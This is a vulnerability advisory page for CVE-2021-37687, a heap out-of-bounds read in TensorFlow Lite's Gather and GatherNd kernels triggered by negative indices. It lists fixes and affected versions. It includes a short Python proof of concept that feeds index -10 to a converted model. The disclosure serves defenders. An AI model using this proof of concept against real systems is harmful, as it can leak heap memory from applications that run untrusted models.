GHSA-jwf9-w5xm-f437
Vulnerability from github
6.8 (Medium) - CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Impact
TFLite's GatherNd
implementation does not support negative indices but there are no checks for this situation.
Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices
.
Similar issue exists in Gather
implementation.
```python import tensorflow as tf import numpy as np tf.compat.v1.disable_v2_behavior()
params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())
out = tf.gather(params, indices, name='out')
with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out]) tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors()
input_details = interpreter.get_input_details() output_details = interpreter.get_output_details()
params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.set_tensor(input_details[0]['index'], params_data) interpreter.set_tensor(input_details[1]['index'], indices_data)
interpreter.invoke() ```
Patches
We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.5.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.5.0" ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.3.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.5.0" ] } ], "aliases": [ "CVE-2021-37687" ], "database_specific": { "cwe_ids": [ "CWE-125" ], "github_reviewed": true, "github_reviewed_at": "2021-08-24T17:49:13Z", "nvd_published_at": "2021-08-12T23:15:00Z", "severity": "MODERATE" }, "details": "### Impact\nTFLite\u0027s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.\n\nHence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.\n\nSimilar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.compat.v1.disable_v2_behavior()\n\nparams = tf.compat.v1.placeholder(name=\"params\", dtype=tf.int64, shape=(1,))\nindices = tf.compat.v1.placeholder(name=\"indices\", dtype=tf.int64, shape=())\n\nout = tf.gather(params, indices, name=\u0027out\u0027)\n\nwith tf.compat.v1.Session() as sess:\n converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])\n tflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\n\nparams_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))\nindices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())\ninterpreter.set_tensor(input_details[0][\u0027index\u0027], params_data)\ninterpreter.set_tensor(input_details[1][\u0027index\u0027], indices_data)\n\ninterpreter.invoke()\n```\n\n### Patches\nWe have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "id": "GHSA-jwf9-w5xm-f437", "modified": "2024-11-13T21:21:55Z", "published": "2021-08-25T14:40:02Z", "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37687" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Heap OOB in TFLite\u0027s `Gather*` implementations" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.